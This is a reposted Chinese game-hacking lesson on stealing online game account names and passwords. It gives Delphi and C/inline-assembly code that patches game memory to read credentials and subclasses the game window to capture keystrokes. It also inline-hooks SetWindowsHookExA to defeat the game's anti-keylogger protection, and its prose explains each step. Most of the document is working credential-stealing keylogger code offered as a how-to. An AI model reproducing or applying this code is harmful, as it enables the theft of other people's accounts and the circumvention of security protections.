windows.VirtualProtect(Pointer($0058cd49),25,PAGE_EXECUTE_READWRITE,oldProtect);

 //寫jmp代碼

asm

 mov ecx,5

 lea esi,jmpHook

 mov edi,$0058cd49

 rep movsb

end;

 windows.VirtualProtect(Pointer($0058cd49),25,oldProtect,oldProtect);

 ////////////

windows.VirtualProtect(Pointer($885c95),330,PAGE_EXECUTE_READWRITE,oldProtect);

 //寫jmp代碼

asm

 mov ecx,$30

 lea esi,GetID

 mov edi,$885c95

 rep movsb

end;

 windows.VirtualProtect(Pointer($885c95),330,oldProtect,oldProtect);

 /////////////     00885D9D

windows.VirtualProtect(Pointer($00885D9D),$50,PAGE_EXECUTE_READWRITE,oldProtect);

end;

 

//最后取出賬號和密碼

 

procedure TForm1.Button12Click(Sender: TObject);

var

 p1,p2:pchar;

begin

 p1:=Pointer($885D9d);

 p2:=Pointer($885ddd);

 self.RzMemo1.Lines.Add(p1+','+p2);

end;

 

最后測試一下終於成功了

 

 

 

4.3.1(001)通用性盜號Delphi版

4.3.1(002)精確資號實現delphi版

 

//////////////////////////////////////////////

 

上面兩節課是DELPHI教程當中的內容,筆記請參閱DELPHI班

4-1-8、盜號原理

 

 

//////////////////////////////////////////////

 

 4.3.2 ring3層過保護竊密賬號密碼

          a、過密碼保護原理

          b、代碼測試

          c、in line hook

勾子特性:后安裝,可以先處理消息

#define GameCaption "YB_OnlineClient"

WNDPROC oldproc;

 

LRESULT CALLBACK myproc(

  HWND hwnd,      // handle to window

  UINT uMsg,      // message identifier

  WPARAM wParam,  // first message parameter

  LPARAM lParam   // second message parameter

)

 if (uMsg==WM_CHAR)

 {

  page5.m_script.SendMessage(uMsg,wParam,lParam); 

 }  

return CallWindowProc(oldproc,hwnd,uMsg,wParam,lParam);

}

 

HWND gh=FindWindow(NULL,GameCaption);//獲取游戲窗口句柄

        oldproc=(WNDPROC)GetWindowLong(gh,GWL_WNDPROC);

       SetWindowLong(gh,GWL_WNDPROC,(long)myproc);

 

 

//in line hook SetWindowsHookExA

 

// TODO: Add your control notification handler code here

    DWORD oldprotect;

HMODULE huser=GetModuleHandle("User32.dll");

FARPROC hookaddr=GetProcAddress(huser,"SetWindowsHookExA");

    VirtualProtect(hookaddr,258,PAGE_EXECUTE_READWRITE,&oldprotect); 

    //要寫入的地址 MySetWindowsHookEX-5-SetWindowsHookExA

int vaddr=(int)MySetWindowsHookEx-5-(int)hookaddr;//計算要跳轉的地址

_asm

{

mov eax,hookaddr

mov [eax],0xe9 //JMP

add eax,1

mov ebx,vaddr

mov [eax], ebx

}

VirtualProtect(hookaddr,258,oldprotect,&oldprotect);

 

 

 

 

HHOOK mykb_hhk;

LRESULT CALLBACK MyKbProc(

  int code,       // hook code

  WPARAM wParam,  // virtual-key code

  LPARAM lParam   // keystroke-message information

)

{

 

  

return CallNextHookEx(mykb_hhk,code,wParam,lParam);

}

 

HHOOK MySetWindowsHookEx(

  int idHook,        // type of hook to install

  HOOKPROC lpfn,     // address of hook procedure

  HINSTANCE hMod,    // handle to application instance

  DWORD dwThreadId   // identity of thread to install hook for

)

{

/*

77D31211 > $  8BFF          MOV EDI,EDI

77D31213   ?  55            PUSH EBP

77D31214   ?  8BEC          MOV EBP,ESP

77D31216   .  6A 02         PUSH 2                                   ;  2

77D31218   .  FF75 14       PUSH DWORD PTR SS:[EBP+14]               ;  1354 threadID

77D3121B   .  FF75 10       PUSH DWORD PTR SS:[EBP+10]               ;  HModule

77D3121E   .  FF75 0C       PUSH DWORD PTR SS:[EBP+C]                ;  Hookproc

77D31221   .  FF75 08       PUSH DWORD PTR SS:[EBP+8]                ;  HOOKTYPE WH_keyboard=2

77D31224   .  E8 2E6FFFFF   CALL USER32.77D28157

77D31229   .  5D            POP EBP

77D3122A   .  C2 1000       RETN 10

 

*/

 //判斷 是不是WH_KEYBOARD

if ( (idHook==WH_DEBUG))

{

_asm

{

  PUSH 2

  PUSH dwThreadId

  lea eax, MyKbProc //自己的勾子回調

  push eax

  PUSH hMod 

  PUSH idHook

  mov eax, 0x77D28157

  call eax

  mov mykb_hhk,eax 

 

}

 

 

} else

{

 page5.m_edt_s_script+="XX,";

page5.UpdateData(false);

_asm

{

  PUSH 2

  PUSH dwThreadId

  PUSH lpfn 

  PUSH hMod 

  PUSH idHook

  mov eax, 0x77D28157

  call eax

 

 

}

 

 

if (mykb_hhk>0) 

{

UnhookWindowsHookEx(mykb_hhk); //卸載

    page5.m_edt_s_script+="A,";

page5.UpdateData(false);

MessageBox(0,"WH_KB","KB",MB_OK);

ExitProcess(0);

}

 

 

 

  _asm //再次重新安裝,以確保自己的勾子是最頂層

  {

  PUSH 2

  PUSH dwThreadId

  lea eax, MyKbProc //自己的勾子回調

  push eax

  PUSH hMod 

  PUSH idHook

  mov eax, 0x77D28157

  call eax

  mov mykb_hhk,eax 

  }

 

 

_asm //恢復

{

  pop ebp

  ret 0x10

}

}}

 

 

////////////////////////////////////////////////////

 

 

今天要學習的是最后一課了,比如RXJH這個游戲的密碼保護是比較簡單的,是用戶層密碼保護,一般是安裝一個鈎子函數,我們可以用工具XueTr0.29查看一下,看一下究竟安裝了哪些鈎子函數,

 

 

 

 

安裝了很多鍵盤鈎子,在我們輸入密碼的時候又多了一個WH_DEBUG消息鈎子,是一個全局的DLL鈎子,換成別的進程只要我們一按鍵就會將DLL注入進行保護.因為普通的密碼我們通過HOOK就可以獲取,但是RXJH已經安裝了鈎子我們再獲取的就是亂碼了.

我們要解決的辦法就是另外安裝一個鈎子來去掉它的鈎子,當然也需要時機,老師在此之前已經寫好了代碼將它的鈎子卸載掉了,但是我們在回車登陸的時候游戲就退出了.

 

代碼都在教案中,編寫過程是這樣的:首先取得了窗口過程,攔截了字符消息,然后發送到我們自己的程序中,創建程序窗口,取得游戲以前的窗口過程,設置游戲新的窗口過程,也就是將它的窗口過程給替換掉了.等它又安裝密碼保護的鈎子時我們就攔截不到了,鈎子的特征就是后安裝的可以先執行,我們找到安裝鈎子的函數下個斷bp SetWindowsHookExA,除了一般的鈎子還有Debug鈎子,這個函數的功能是不讓我們再安裝鈎子而只安裝它自己的鈎子.我們編寫代碼判斷安裝的是不是DEBUG鈎子,如果是的話就替換成我們自己的鈎子, 0x77D28157是直接調用系統函數, 0xe9是JMP語句就是強制跳轉,轉到自己的函數中,當然是要計算跳轉的地址,計算公式是要跳轉到的地址減去2(長距離則減5)再減去當前地址還要加1.還要更改我們HOOK地址的頁面屬性為所有權限……最后在OD中看一下我們編寫的代碼是什么樣,再用XueTr工具也看到我們的DLL鈎子了.


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM